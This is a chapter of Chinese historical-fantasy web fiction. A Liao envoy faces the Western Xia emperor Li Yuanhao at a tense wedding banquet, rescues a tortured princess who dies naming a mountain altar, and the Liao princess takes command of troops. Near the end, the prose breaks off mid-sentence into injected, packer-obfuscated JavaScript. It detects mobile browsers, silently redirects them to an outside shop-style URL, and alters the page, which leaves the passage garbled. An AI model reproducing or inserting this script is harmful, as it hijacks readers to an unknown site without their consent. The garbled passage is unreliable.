辰时三刻,贺兰山裹挟着塞外千年寒意的朔风,卷起漫天黄沙,如同一头无形的巨兽,怒吼着扑向西夏都城兴庆府。风沙击打在高耸的城墙与宫殿的琉璃瓦上,发出鬼哭般的尖啸,更将城头、街道两侧那些悬挂的各色旌旗,撕扯得猎猎作响,旗面绽开道道凄厉的裂痕,仿佛预示着即将到来的并非祥和,而是某种紧绷的对峙。 “呜——呜——呜——” 沉重、苍凉、透着金属质感的青铜号角声,自九重宫门深处依次响起,长鸣三声,声震全城。这是按照《天盛律令》中记载的最高规格——“迎上邦使节仪”所发出的信号。 “嘎吱吱——” 沉重无比的兴庆府正门以及其后的八道宫门,在机括的牵引与力士的推动下,缓缓地、庄严地次第洞开,露出一条笔直通向皇宫深处丹陛的、宽阔而压抑的通道。 朱雀大街两侧,早已列队肃立着西夏最精锐的“铁鹞子”重甲骑兵。他们人人身披玄黑色的冷锻铁甲,甲叶在即使被风沙遮掩也依旧顽强透出的晨光下,反射出一片沉郁而慑人的乌光。他们手中长达丈余的铁槊如林般矗立,枪尖锋芒在风沙中依旧闪烁着点点冰冷刺骨的寒星,无声地渲染着西夏的武力与不容侵犯的威严。这不是迎宾,更像是一场无声的武力示威。 丹陛之上,高高筑起的金台。 李元昊高踞于专为此次仪式设置的蟠龙金座之上。他今日身着西夏皇帝最隆重的——黼(fǔ)黻(fú)纹十二章冕服,玄衣纁裳,上绣日、月、星辰、山、龙、华虫等十二种代表至尊至贵的纹章。头戴前后各垂十二旒白玉珠的通天冠,旒珠随着他细微的动作轻轻晃动,在他脸上投下晃动的、疏离的阴影,恰好将他眼底那翻涌不息的、混杂着暴戾、期待、疯狂与冰冷算计的——暗潮,遮掩得严严实实,只露出一张符合帝王身份的、威严而略显漠然的面孔。 他的指尖,在宽大的冕服袍袖之中,无声地、反复地摩挲着一样东西——那是顾小怜遗留的半截银簪。簪身冰凉,簪尖锐利,仿佛能刺破一切虚伪的平静。 赤龙踏沙,暗流初现 “轰隆隆——” 远处,地平线上,一条“赤色的巨龙”破开漫天风沙,踏着滚滚黄尘,向着洞开的宫门稳稳行来。 正是辽国和亲仪仗。 为首依旧是七十二名身着绛红色劲装、背负角弓、手持缠绕金丝的华丽马鞭的辽国精骑,他们的马鞍一侧,清晰地悬挂着代表辽国皇室信物的契丹银符,在风沙中闪烁着冷冽的光泽。紧随其后的,是那乘需要十六名健仆抬行的巨大鸾轿,轿顶鎏金凤凰展翅欲飞,四周垂挂的东海珍珠帘幕在风中摇曳碰撞,发出清脆却孤寂的声响——这正是辽国兴平公主的銮驾。 仪仗中段,一人策马而行,格外引人注目。 耶律皓南。 他今日身着辽国正使规制的绯色官服,官服上以金线绣着代表使节权柄的仙鹤祥云图案,腰间束着镶嵌宝石的金质蹀躞带,一身装束将他衬得身姿挺拔,气度沉稳。然而若有心人细看,便能发现他的脸色在风沙与晨光下显得有些过分苍白,嘴唇也缺少血色。 队伍行至丹陛之下,按照礼仪停驻。耶律皓南翻身下马,动作利落却不失庄重。他上前几步,来到御阶之前,依照辽国使节觐见外邦君主的礼仪,行“左足屈膝,右足下跪”之礼。 “大辽国信安军节度使、贺正旦使耶律皓南,奉我主陛下之命,恭贺西夏国主陛下万福金安,并护送兴平公主銮驾至此。” 他的声音平稳清越,穿透风沙,清晰地传上丹陛。 然而,在他低头行礼的刹那,他的目光垂落在面前冰冷的青石地面上,眼底深处,却是一片古井无波的沉寂,仿佛所有的情绪、所有的过往、所有的伤痛与筹谋,都被深深地、牢牢地锁在了那片沉寂之下。只有他自己知道,方才下马行礼时,胸腹间那道半年前天魔阵反噬留下的旧伤,正在经脉中隐隐作痛,如同钝刀慢割。 “平身。” 丹陛之上,传来李元昊平稳得听不出任何情绪的声音,那声线就像一块上好的磨刀石,平滑,冷硬。 “朕闻……辽皇以明珠十斛为聘,为兴平公主添妆。” 李元昊 的目光,似乎穿过晃动的玉旒,落在下方那乘华丽的鸾轿上,“今日一见公主銮驾,果真是……日月入怀,光彩照人。” 他刻意略过了“和亲”这个敏感而略带屈辱色彩的词,只用“明珠为聘”、“日月入怀”这样华丽的词藻来描述,语气平淡,却透着一种居高临下的审视与一丝不易察觉的讽意。** “只是……” 他话锋一转,“西夏地处僻远,风沙酷烈,恐怕……要委屈公主金枝玉叶了。” 这句话,表面是谦辞,实则是一种更深的试探与暗示——在我的地盘上,即使是辽国公主,也需遵从我的规矩。 耶律皓南已经起身,执着代表使节身份的玉节,躬身回应。他的呼吸几不可察地微微一促,胸口的闷痛让他必须更加集中精神才能保持声线的稳定:“陛下过谦了。陛下威加海内,文治武功,四夷宾服。兴平公主在辽时,便素来仰慕贺兰山之巍峨,西夏风雪之壮阔。” “此番奉旨前来,正是心怀诚挚,愿以此姻亲之好,铸就辽、夏两国百年之安宁,千秋之友谊。” 他的回答不卑不亢,既抬高了对方,也点明了和亲的政治意义,将个人的委屈转化为国家的利益。 说话间,他抬起眼,目光似乎不经意地扫过丹陛之上。然而,就在他的目光掠过丹陛右侧那片按刀肃立的西夏武将队列时,身形几不可察地微微一顿。 那里,野利遇乞正按着腰间刀柄,面色沉凝地站立着。而在他身侧稍后的位置,一位身着西夏命妇服饰、低眉垂首的女子,静静侍立——正是没藏氏。 即使只是一个侧影,即使隔着一段距离,即使明知不可能……那熟悉的轮廓,那低头时颈项弯出的弧度,依旧像一面冰冷的镜子,狠狠地照出了耶律皓南记忆深处某个血色的倒影! “!” 他袖中的手指,下意识地攥紧了一直扣在掌心的三枚铜钱。下一刻,“咔”的一声极其轻微的、只有他自己能听见的碎裂声,其中一枚铜钱的边缘,竟被他无意识中骤然爆发的力道,硬生生捏出了一道细密的裂纹! 夜,重霄殿。 三十六盏以白驼峰脂熬炼的长明灯,将这座经历过重修的宫殿照耀得如同白昼,灯火辉煌,却驱不散那种深入骨髓的压抑与寒意。殿壁上新绘的巨幅《西域贡狮图》,绘着狰狞的狮子与驯兽的西域使者,在晃动的灯影下仿佛活了过来,张牙舞爪,透着一种野性未驯的危险。 宴席已开,丝竹悦耳,舞姿曼妙,表面一派宾主尽欢。 礼官高声唱喏:“献——雁礼——!” 辽国使团中,四名力士抬上九对被精心饲养、羽毛洁白如雪的大雁。奇特的是,这些大雁的足上都系着细小的金链,而它们的喙中,竟都衔着一小截翠绿的橄榄枝。 这是辽国特有的“止戈为武”的隐喻——大雁忠贞,喻姻亲之好;金链象征联系与责任;橄榄枝则是和平的信物。献上被束缚却衔着和平之枝的大雁,意味深长。 李元昊 端坐御座,看着那些在殿中略显不安地挪动的白雁,脸上没有多余的表情。他忽然伸手,从面前案几上拿起那柄用来割肉的镶宝匕首,寒光一闪,竟从殿中央祭台上那只烤得外焦里嫩的全羊身上,精准地削下一片最为厚实、连着筋膜与少许脂肪的——脊肉。 然后,在所有人的注视下,他将这片肉,随意地掷入了下方耶律皓南面前的金盘之中。 “皓南兄。” 他开口,声音不高,却清晰地压过了殿中的丝竹声,目光似笑非笑地看着耶律皓南,“可知我西夏的羊,与中原、与草原有何不同?” “此地之羊,饮的是贺兰山巅融化的雪水,食的是戈壁滩上最耐旱的沙棘。” 他不等耶律皓南回答,自顾自地说下去,“故而,其肉质……尤其是这脊肉,最为坚韧耐嚼。” “寻常刀匕,难断其筋;莽夫力士,难解其味。” 他的目光落在自己手中那柄匕首上,意有所指,“需得最锋利的刀,最耐心的手,慢慢地、一层层地剖开……方能见到其内里的真味,品出其深处的……玄机。” 这番话,明说羊肉,实则句句机锋,暗指西夏国情复杂,辽国或耶律皓南本人若想在此有所作为,绝非易事,需要“利刃”与“耐心”。更是一种隐晦的警告与挑衅。 耶律皓南目光平静地看着盘中那片尚在微微颤动、渗着油花的羊肉。他伸出手,执起面前的银箸,动作看似从容地夹起了那片肉。然而,就在他的箸尖轻点盘边那碟精制的椒盐蘸料时—— 他执箸的手腕,几不可察地、极其轻微地——颤抖了一下! 那颤抖微乎其微,快得恍若错觉,但在场不少目光锐利之人,包括御座上的李元昊,都清晰地捕捉到了。那是力量不济、内息不稳的征兆! 耶律皓南仿佛浑然不觉,他将蘸了椒盐的羊肉送入口中,细细咀嚼,然后缓缓咽下。这才抬眼,看向李元昊,嘴角甚至还带着一丝极淡的、符合使节身份的笑意:“陛下圣明,此肉确实筋道非凡,别有风味。” “然而……” 他话锋一转,目光落在自己面前的银箸上,“美食如治国,过刚……则易折。柔韧相济,方是长久之道。” 这是针锋相对的回应——你说西夏如此肉需利刃耐心,我便说过刚易折,暗示西夏若一味强硬,未必是福。 说着,他竟然用银箸将盘中剩下的大半片羊肉,从中间轻轻一分为二。然后,在所有人惊愕的目光中,他将其中一半,用箸尖推至了邻席——正是野利遇乞的案前! “野利将军戍守边关,餐风饮露,最是辛劳。” 耶律皓南的声音平稳,“此肉既是陛下所赐珍馐,将军……当共享此味方是。” “……” 霎时间,满殿死一般的寂静!所有的丝竹声、谈笑声仿佛都被一只无形的手扼住了咽喉! 御赐之肉,代表着帝王的恩赏与意志。耶律皓南此举,无异于将帝王的“恩赏”转赠臣下,这是极为大胆甚至僭越的行为!更何况,接受这“转赠”的,还是近来因为妻子而与皇帝关系微妙的野利遇乞!** 野利遇乞的脸色,瞬间变得铁青!额角的青筋不受控制地暴起,按在刀柄上的手指关节捏得发白!他的目光,如同两把刀,狠狠刺向耶律皓南,又迅速地、不安地瞟向御座方向。 就在这剑拔弩张、一触即发的时刻—— “咳……” 一声极其轻微的、女子的咳嗽声,从野利遇乞身侧响起。是没藏氏。她似乎被酒水呛到,慌乱地抬袖掩口。就在她抬袖的瞬间,一方折叠整齐的杏黄色丝帕,从她的袖中滑落,飘摇着坠在了光洁的地面上。 帕子的一角,精心绣着一丛缠绕的、生机盘然的——忍冬花纹! 那纹样,那色泽……与顾小怜生前最爱用的、随身携带的帕子上的绣纹,一模一样!** “!” 御座之上,李元昊 的瞳孔,在看到那方丝帕的刹那,骤然缩成针尖!他握着金杯的手,猛地一颤,杯中的酒液晃出,“铿”的一声沉闷巨响,金杯被他重重砸在了面前的紫檀木案几上! “赐酒!” 他的声音陡然拔高,带着一种压抑不住的、近乎暴戾的森冷,“朕……要与辽使,共饮此杯‘贺兰雪’!” “贺兰雪”,西夏皇室秘酿,性烈如火,入喉如刀。 内侍慌忙捧上酒坛与新杯。李元昊 亲自执壶,为自己和耶律皓南面前的金杯斟满。酒液倾泻,在灯下泛着琥珀色的、近乎血色的光泽。 就在酒液注满、内侍尚未退下的瞬间,耶律皓南的眼角余光,敏锐地瞥见大殿一角,那垂挂着厚重帷幔的阴影中,有三名身着铁鹞子亲卫服饰的身影,他们按在腰间刀柄上的手,已经将刀鞘悄然推开了……约莫三寸!露出一截冰冷的刀锋! 杀机,已如出鞘之刃,寒光隐现。 耶律皓南心头一凛,但面上神色不变。他忽然举起面前那杯尚未动过的“贺兰雪”,不是对向李元昊,而是转身,面向大殿另一侧、那乘始终垂着珍珠帘幕的鸾轿方向,高高举起。 “臣闻……西夏有古老部落遗俗。” 他的声音清晰地响起,借着这个转身举杯的动作,他不动声色地调整了一下呼吸,将喉间翻涌的腥甜与胸口的闷痛强压下去,“新婚夫妇,需共饮一瓢来自圣山之巅的泉水,寓意生命相融,福泽同享。” “今日,陛下与兴平公主良缘天成,乃辽夏两国之幸。” 他的目光从鸾轿方向收回,重新看向御座,眼中带着恰到好处的恭贺之意,“何不……效法此先民古俗,以此杯中佳酿,代替圣泉,同饮此杯,以显辽夏两国……血脉相融,永结同心之谊?” 这番话,说得冠冕堂皇,既将刚才紧张的气氛巧妙地转移到了“婚礼吉庆”上,又以“古俗”和“两国之谊”为名,给了李元昊一个不得不接的台阶。同时,也是在提醒对方——今日是和亲大典,若在此时此地动武,不仅辽国震怒,西夏亦将颜面扫地,更会让天下人耻笑。 李元昊 死死地盯着耶律皓南,眼中的暴戾与杀意如同实质般翻涌。殿角那三名铁鹞子亲卫的手,依旧按在刀柄上。 良久。 “哈……” 一声极低的、听不出情绪的轻笑,从李元昊喉间溢出。他端起面前的金杯,目光却越过杯沿,如同看一件死物般看着耶律皓南,“皓南兄……果然是辽皇驾前第一得力之人。” “此议甚好。” 他的声音恢复了平稳,“来人,将此酒,奉予公主。朕与公主……便依此古俗。” 紧绷的弦,暂时松懈。然而,那种无形的、冰冷的杀机,并未消散,只是重新潜入了更深的水底。 宴散,月升。 借着“查验嫁妆、确保公主用度无虞”的合理名义,耶律皓南独自踏入了皇宫西侧一片相对僻静的偏殿区域。 他的步伐看似平稳,实则每一步踏出,都暗合着一种奇异的韵律与方位——“九宫步”。这是他这半年来,为了在内力大损、旧伤未愈的情况下,最大限度地保存实力、隐匿行踪、对抗反噬痛楚所独创的一门轻身功法。步法不以绝对的速度见长,却极擅在复杂环境中借力腾挪,行动间身形飘忽如烟,能最大程度地融入阴影与环境,避开常规的耳目与气机感应。** 他的身形如同一道淡淡的青烟,无声地掠过一根根粗大的廊柱,避开一队队巡逻的宫卫。廊下悬挂的青铜灯盏投出昏黄跳动的光晕,在地面与墙壁上交织出一张张如同蛛网般的、光怪陆离的影子。 他的指尖,不着痕迹地掠过一处看似平常的墙壁。那里,有一道极浅的、仿佛是岩石天然纹理的划痕——那是他上一次冒险潜入西夏皇宫查探时,留下的独特暗号。看到暗号完好,他心中微定,至少这条备用的撤离路线尚未被发现。 就在此时—— “咔嚓……咔嚓……” 身后不远处,传来一阵沉重而有节奏的铁甲鳞片摩擦声,以及……拖拽重物的闷响。 耶律皓南身形一顿,毫不犹豫地,如同一片没有重量的落叶,轻盈地翻身跃上头顶一根粗大的横梁,将自己完全隐入梁柱投下的深沉阴影之中,同时屏住呼吸,收敛了所有的气息。 只见两名身着铁鹞子全副铠甲的卫士,正一前一后,拖着一具血肉模糊、看不清面目的身躯,沉重地从下方的廊道经过。那具身躯似乎还在微弱地抽搐,一只手无力地垂在地上,手指痉挛般地抠着地面,指缝间,隐约可见……半枚色泽惨白、刻着诡异纹路的——骨制符箓! 穆默族的骨符! 耶律皓南的瞳孔微微一缩。穆默族,那个传说中精通古老萨满秘术、与天魔阵有着千丝万缕联系的神秘部族!他们的人,怎会在此时此地,以这种方式出现在西夏皇宫深处? 待那两名铁鹞子的脚步声彻底远去,消失在廊道尽头的黑暗中,耶律皓南方才如同一片真正的落叶,悄无声息地飘然落地。 他循着地面上那道淡得几乎难以察觉的、断断续续的血迹,来到一处位于偏殿最深处、看似已废弃多年的枯井旁。井口被杂草与碎石半掩,在月光下透着一股不祥的气息。 他蹲下身,伸出手,在井壁内侧仔细地摸索着。手指触到第三块看似牢固、实则略有松动的青砖时,他运起一丝柔劲,轻轻一按一推 “咔哒。” 一声轻微的机括响动。那块青砖竟然向内陷入,露出一个黑黝黝的、仅容一人勉强通过的——地道入口!一股混合着浓重腐朽气息、陈年血腥味以及……某种奇特药草苦涩气味的寒风,从地道深处扑面而来! 没有丝毫犹豫,耶律皓南闪身而入,并从内部将机括复位。地道内一片漆黑,伸手不见五指,只有他自己轻微的呼吸声与脚步摩擦地面的沙沙声。他凭借着过人的记忆力与方位感,在黑暗中缓慢而坚定地向下、向深处行去。 不知走了多久,前方隐约传来一丝极其微弱的、铁链拖动的“哗啦”声,以及……压抑的、痛苦的呻吟。 地道尽头,是一间不大的、潮湿阴冷的石室。墙壁上插着几支将熄未熄的火把,光线昏暗跳动。石室中央,一个身影被几根粗大的铁链穿过锁骨与脚踝,牢牢地锁在一根石柱上。 那人衣衫褴褛,浑身上下布满了各种可怖的伤痕与烙印,几乎看不出本来面目。然而,借着摇曳的火光,耶律皓南还是一眼就认出了——那是曾经的西夏百花公主! 更让他心头剧震的是,百花公主赤裸的脊背上,竟然被人以烙铁,深深烙上了一个扭曲狰狞的、散发着不祥气息的符咒——那正是天魔阵核心阵图中,代表“九狱噬心”的禁制! 她的手腕上,曾经叮咚作响的金铃已经锈迹斑斑,沉寂无声。唯有颈间一条同样锈蚀的细链上,悬挂着一枚温润莹白的羊脂白玉佩。玉佩的形状奇特,刻着两条首尾相衔、共同环绕一弯新月的——蛇形图案! 双蛇衔月! 这是穆默族传说中的圣物图腾! “……救……” 百花公主似乎感应到了有人到来,勉力抬起头,散乱的发丝间露出一双充满痛苦与绝望、却依旧残存着一丝清明的眼睛。她的目光与耶律皓南相触,嘴唇艰难地蠕动着,气若游丝:“三……凶……神……器……” “在……贺兰山……祭坛……” 说到这里,她仿佛用尽了最后的力气,身体剧烈地痉挛了一下,一口黑血从嘴角涌出。但她仍旧挣扎着,伸出一根手指,用指甲在身旁满是污垢的地面上,急促地、用力地划动着。 那是两个西夏文字:“小心”。** 看到这两个字,耶律皓南心头警兆大生!他毫不犹豫地解下自己身上的披风,快步上前,想要覆在百花公主身上,至少为她带来一丝温暖与遮蔽。 就在他的披风即将触及百花公主身体的刹那—— “何人在此!” 一声暴怒的、如同炸雷般的怒喝,猛地从枯井入口的方向传来!声音在狭窄的地道中回荡,震得人耳膜嗡嗡作响! 是野利遇乞的声音! 耶律皓南的身体瞬间绷紧!他骤然收束了所有的气息,甚至连心跳都在刹那间被压制到了极致。他的身形如同一道贴壁的阴影,迅速而无声地隐入了石室最深处、火把光晕照不到的角落。同时,他的指尖,已经扣住了袖中仅剩的两枚铜钱。 若是在平日,全盛时期,他有十成把握可以在对方发出警报前将其瞬杀,或是从容退走。但此刻……胸口的旧伤因为刚才的急速动作而再次震痛起来,内息虚浮不稳。他只能赌,赌野利遇乞不会立刻深入这充满腐臭与危险气息的地道查探,赌他只是巡逻经过,听到异响而已。 沉重的脚步声在井口徘徊,夹杂着野利遇乞压低声音的、充满疑惑与暴躁的咒骂。时间在黑暗中一秒秒流逝,每一秒都漫长得像一个世纪。** 终于,那脚步声停顿了片刻后,渐渐远去,伴随着一声不甘的闷哼。 直到确认外面再无任何声息,耶律皓南才缓缓地、极其轻微地松了一口气。他伸出手,轻抚着自己剧痛不已的胸口,那里的衣衫已经被冷汗浸透。 他深知,方才的侥幸,不会再有第二次。李元昊的杀意与怀疑,已经如同一张无形的大网,借着这次辽国使团到来的机会,悄然张开,笼罩了整个兴庆府,也笼罩在了他的头顶。 而“三凶神器”与“贺兰山祭坛”这两个关键词,以及百花公主惨不忍睹的模样,更是让他心头蒙上了一层浓重的阴影。风暴,才刚刚开始。 地牢深处,腐草的糜烂气息与陈年血腥味、还有某种难以言喻的脓血恶臭,混杂、发酵,凝结成一张沉重、湿冷、令人窒息的帷幕,紧紧裹住每一个踏入此地的人。空气粘稠得仿佛有实质,每一次呼吸都如同吞咽刀片,带着铁锈与死亡的味道。 耶律皓南以袖掩口,遮挡着那无孔不入的恶臭。他的另一只手,在昏暗中摸索着前行,指尖不经意触到墙壁——那上面布满了纵横交错、深浅不一的抓痕!痕迹很新,墙皮被抠出深槽,有些地方还沾着已经发黑的、细碎的——指甲碎片!那是人在极度痛苦与绝望中,用尽最后力气挣扎留下的印记。 借着地牢高处唯一一个拳头大小的通气孔漏下的惨淡月光,他看到了角落里那个蜷缩的身影。 百花公主身上那件曾经代表穆默族公主最高荣耀的锦袍——玄底金线,绣着精致繁复的“双蛇衔月”部族圣物图腾——如今已经烂成一缕缕肮脏的布絮,勉强挂在她骨瘦如柴的身上。她赤裸的脊背完全暴露在空气中,上面赫然烙着一个碗口大小、线条扭曲狰狞、散发着不祥气息的漆黑符咒——正是天魔阵核心禁制“九狱噬心”!烙印处的皮肉完全焦黑碳化,边缘翻卷,露出下面暗红发黑的肌理,不断渗出黄绿色的脓血。浓烈的腐臭与甜腥从那伤口散发出来,吸引了无数绿头苍蝇“嗡嗡”盘旋,不时落下叮咬。 她的头发枯黄打结,沾满污秽,脸颊深深凹陷,眼窝如同两个黑洞,只有偶尔因为剧痛而产生的抽搐,证明她还活着。锁穿她锁骨与脚踝的粗大铁链,已经和溃烂的皮肉长在了一起。 这就是曾经那个明艳骄傲、对李元昊痴心一片、不惜以整个穆默族的秘术与忠诚相托的——公主。如今,她是祭品,是实验品,是被榨干最后一滴利用价值后随意丢弃在此、任其腐烂的——废物。 耶律皓南的眼底掠过一丝极淡的寒意。他抽出随身短剑,剑光一闪,“锵锵”几声,那些沉重的锁链应声而断。然后,他小心翼翼地、尽可能避开她背上可怖的伤口,将她轻盈得仿佛没有重量的身躯,负在了自己背上。 她真的轻得像一片枯叶,像一缕即将散去的幽魂。微弱的、带着浓重血腥与腐臭的气息,拂过他的颈侧。 为避人耳目,耶律皓南背负着百花公主,沿着一条极其隐秘、布满灰尘与蛛网的废弃密道,来到皇宫西侧一座同样荒废已久的藏书偏殿。 殿内蛛网密结,尘灰在唯一一扇高窗漏下的月光中飞舞,如同银色的尘霭。四周书架倾倒,残卷散落,空气中弥漫着故纸与霉菌的气息。从这扇高窗望出去,恰好能窥见远处重霄殿依旧灯火通明、笙歌隐约的景象,与此地的死寂形成荒诞对比。 耶律皓南将百花公主轻放在一处相对干净的角落,用随身水囊中的清水濡湿袖口,极其轻柔地擦拭她额间、脸上凝结的血污与污垢。 冰凉的湿意触及皮肤,百花公主的身体剧烈地颤抖了一下,然后,她竟然慢慢地、艰难地睁开了眼睛。那双眼眸浑浊不堪,布满血丝,眼神涣散了片刻,才勉强聚焦在耶律皓南的脸上。 下一刻,她枯瘦如柴,指甲脱落的手掌,猛地攥住了他的衣襟!力道大得惊人,仿佛用尽了生命最后的所有力气。 “贺兰山……” 她的声音沙哑破碎,如同破风箱,每说一个字都伴随着可怕的抽气声,“祭坛……第三重……鸱吻……暗格……” “三凶……神器……” 说到这里,她猛地咳了起来,一大口粘稠发黑的血块从她嘴里涌出,溅在地上和耶律皓南的衣襟上。然而,她的眼底,却因为这剧烈的咳嗽和即将宣泄的真相,奇异地绽出一种回光返照般的、灼亮逼人的光彩! “李元昊……他抽干了我穆默全族三百七十一口人的血……启动阵眼……” 她的声音因为极致的恨意与悲愤而变形,“却对天下宣称……是我!是我这个公主,自愿献祭全族,助他成就大业!哈……哈哈……” 凄厉的、不成调的笑声在空荡的殿内回荡,比哭还难听。 笑声未歇,她猛地用力扯开自己胸前早已破烂不堪的衣襟! 月光下,她的心口位置,赫然有一道长长的、颜色暗红发黑、扭曲狰狞如同蜈蚣般爬行的——疤痕!那疤痕深入肌理,甚至能看到下面骨头的形状,显然是被利器活生生剖开后又粗糙缝合所致! “他剜我的心……炼阵的时候……” 百花公主的眼泪混着血污滚滚而下,“就这么……笑着看着我……问我……痛不痛……” “他说……‘公主的心,定是与旁人不同的,更能助朕神功大成’……哈……”** 声息,在这凄绝的控诉中,迅速弱了下去。她的瞳孔开始涣散,生命的光彩正在从那双充满无尽痛苦与恨意的眼睛中流失。然而,就在最后一刻,她竟然奇迹般地重新聚焦,死死地、用尽全力地盯住耶律皓南,嘴唇蠕动,发出最后几个气音: “告诉……排风……” “我羡慕她……不是因为……有人为她逆天改命……” “而是因为……她赌命选的那个人……纵使身处修罗场……手染鲜血……” “也从未……将曾给予她的温柔……化作穿肠的……毒药……” 最后一个字吐出,她的手无力地垂落,眼睛依旧睁着,望着破败的殿顶,里面的光彻底熄灭了。唯有那份深刻的、混杂着无尽羡慕与悲凉的遗憾,凝固在她僵硬的面容上。 意外相逢,抉择瞬间 “咔嚓……” 就在耶律皓南心头沉重,准备为百花公主合上双眼时,头顶梁上,突然传来一声极其轻微的、碎瓦被踩动的声响! 有人! 耶律皓南眸色一寒,瞬间执剑转身,剑尖直指声响来处!然而,映入眼帘的,不是想象中的杀手或卫兵,而是一个从高处垂挂的厚重帷幔后、踉跄着跌出来的——身影。 杏黄色的宫装,即使沾满尘灰也依旧能看出其华贵。来人摔在地上,手中一盏小巧的宫灯滚落一旁,灯火跳动,映亮了她那张因为惊恐与疼痛而惨白如纸的脸,以及掌心一道新鲜的、尚在渗血的划伤——显然是攀爬或躲避时不慎所致。 兴平公主。 她本是凭着一股不甘与好奇,想要暗中跟踪夜间独行的耶律皓南,看看他到底在筹谋什么。却不料,竟然亲眼目睹了这可怕的一幕。 宫灯的火光跃动着,恰好掠过地上百花公主赤裸的、布满可怖烙印的脊背,以及心口那道触目惊心的疤痕。那画面如同烧红的烙铁,狠狠烫在了兴平公主的眼中,也烫进了她的心里。 “原来……” 她踉跄着跪倒在地,目光空洞地看着百花公主的尸身,“这就是……和亲公主的下场……” 她颤抖着伸出手,指尖悬在百花公主鼻尖一寸处,感受不到任何生息。 一个月前,辽兴宗亲手为她系上大红嫁衣的衣带,语重心长地说“皇姐此去,当为辽夏两国之桥梁,千秋和平之纽带”的画面,与眼前这具残破不堪、被利用殆尽后抛弃的女尸……重叠在了一起,凝成一根最锋利的冰锥,狠狠刺穿了她所有关于“和亲”、“大义”乃至“帝王恩宠”的——幻想。 她忽然想起了很多年前,在天门阵前,耶律皓南为了启动那毁天灭地的阵法,毫不犹豫地挖出自己的心脏作为祭品。然而,在那修罗场般的疯狂与血腥中,他却独独伸出沾满鲜血的手,用最后一丝力气,将扑上来想要阻止他的杨排风……轻轻推开。 当时她不懂,只觉得那是疯狂。 此刻,看着百花公主的惨状,她忽然明白了。 修罗场中,存一念温柔,手刃天下时,留一人不伤。 原来……这便是云泥之别,天渊之距。 “铿锵——” 殿外,忽然传来整齐而沉重的铁甲摩擦与脚步声!火把的光影透过破损的窗棂晃动进来,夹杂着低沉的呼喝与搜查声——是李元昊的亲卫队,正沿着地道与偏殿一路滴落的血迹,搜索而来! 时间紧迫! 兴平公主脸色煞白,但眼中的惊恐却在刹那间被一种决绝取代。她猛地拔下头上一根金簪,毫不犹豫地在自己的掌心划出一道深口!鲜血涌出,她迅速将血抹在百花公主已经冰冷的嘴唇畔,制造出新鲜血痕,同时用力将尸体往旁边拖了拖,伪装成刚死不久被移动过的样子。 然后,她转身冲到西侧墙壁,在一处看似完好的墙砖上用力一推——“咔哒”,一扇极其隐蔽的暗门无声滑开,露出后面黑黝黝的通道。 “从此处走!” 她的声音因为紧张而尖锐,“半刻钟内可达西宫马厩!那里有我辽国陪嫁的马匹!” 耶律皓南深深看了她一眼,毫不犹豫地放下百花公主的尸身,闪身踏入暗门。 就在他的身影即将完全没入黑暗的刹那—— “等等!” 兴平公主突然伸手,拽住了他的袖角。她的手指冰凉,带着血,颤抖得厉害,但抓得很紧。她抬起头,看着他在暗影中模糊的侧脸,声音哽咽却执拗地问:“若……他日沙场相逢……” 耶律皓南的动作顿住。他没有回头,只是反手,“嗤”的一声,用短剑将自己那截被她抓住的袍袖,干脆利落地——斩断! 布帛断裂,兴平公主手中一空,心也随之一空。 然而,就在她眸中光彩即将彻底黯淡的瞬间,那即将消失在黑暗中的身影,却忽然回过头,看了她一眼。月光从高窗漏下,在他脸上投下半明半暗的光影,他的声音平静而清晰地传来: “公主。” “皓南此生,心已许排风,再无余地。” “但今日救命之恩,皓南铭记于心。” “他日……必以辽夏两国百年和平,相报此恩。” 话音落下的同时,一样东西从他袖中滑出,“叮”的一声轻响,落在了兴平公主面前的地面上。 那是一枚触手温润、雕刻着狰狞螭虎纹样的——白玉兵符。在月光下流转着莹润却冷硬的光泽。 “此物,可调幽州三万铁骑。” 耶律皓南的声音已经变得飘忽,“不是聘礼,是谢礼。公主……保重。” 最后一个字音消散,暗门无声合拢,再无痕迹。 空荡荡的偏殿中,只剩下兴平公主独自跪在冰冷的地面上。殿外搜查的脚步声与呼喝声越来越近。 她慢慢地伸出手,拾起了地上那枚冰凉的螭虎玉符。玉符的棱角硌着她掌心的伤口,带来清晰的痛楚。 她想起临行前夜,萧太后屏退左右,握着她的手,在她耳边低声说的那句话:“吾儿需记,辽国长公主的尊荣,从来不在凤冠霞帔,不在帝王恩宠。” “而在——掌兵。” 当时她不甚了了,只觉得是母后的安慰。 此刻,握着这枚冰冷的兵符,看着地上百花公主凄惨的尸身,听着殿外那代表着另一个帝王绝对权力的脚步声…… 她忽然全懂了。 没有丝毫犹豫,她将那枚螭虎玉符,稳稳地、端正地,系在了自己腰间最显眼的绶带之上。然后,她走到百花公主尸身旁,蹲下,用那截被斩断的、沾着耶律皓南体温与气息的袍袖,轻轻覆在了百花公主的脸上。接着,她从自己华丽的宫装内衬上,悄然撕下一小块干净的布料,又从百花公主那破烂不堪的衣角,剪下一小片染着她最后血迹的布片,将两者仔细包裹在一起。 她从怀中取出一个随身携带的、用以收藏贵重物品的小巧鎏金密匣,将这个小小的布包,轻轻放了进去,合拢,扣紧。 动作轻柔,神情肃穆,如同在进行一场无声的葬礼。 葬下的,是百花公主悲惨的一生,是自己曾经对“和亲”、对“情爱”、对“帝王恩宠”所有不切实际的——幻想。 更是……那个困于情爱、等待救赎、将一生幸福系于他人之手的——“兴平公主”。 从此,再无困于情爱的“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185043|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴平公主”。 只有掌握幽州三万铁骑、执掌辽夏边境兵马大权的——“镇北节度使”。 殿门在此时被“砰”地撞开!火把的光芒与铁甲的寒光涌入! 兴平公主 (或者说,镇北节度使)缓缓起身,转过身,面对着冲进来的西夏卫兵。她的脸上再无半分惊惶与泪痕,只有一片冰冷的、属于统帅的沉静与威严。腰间的螭虎玉符,在火光下反射出冷冽的、不容侵犯的光芒。 重霄殿上,唇枪舌剑 次日,重霄殿。 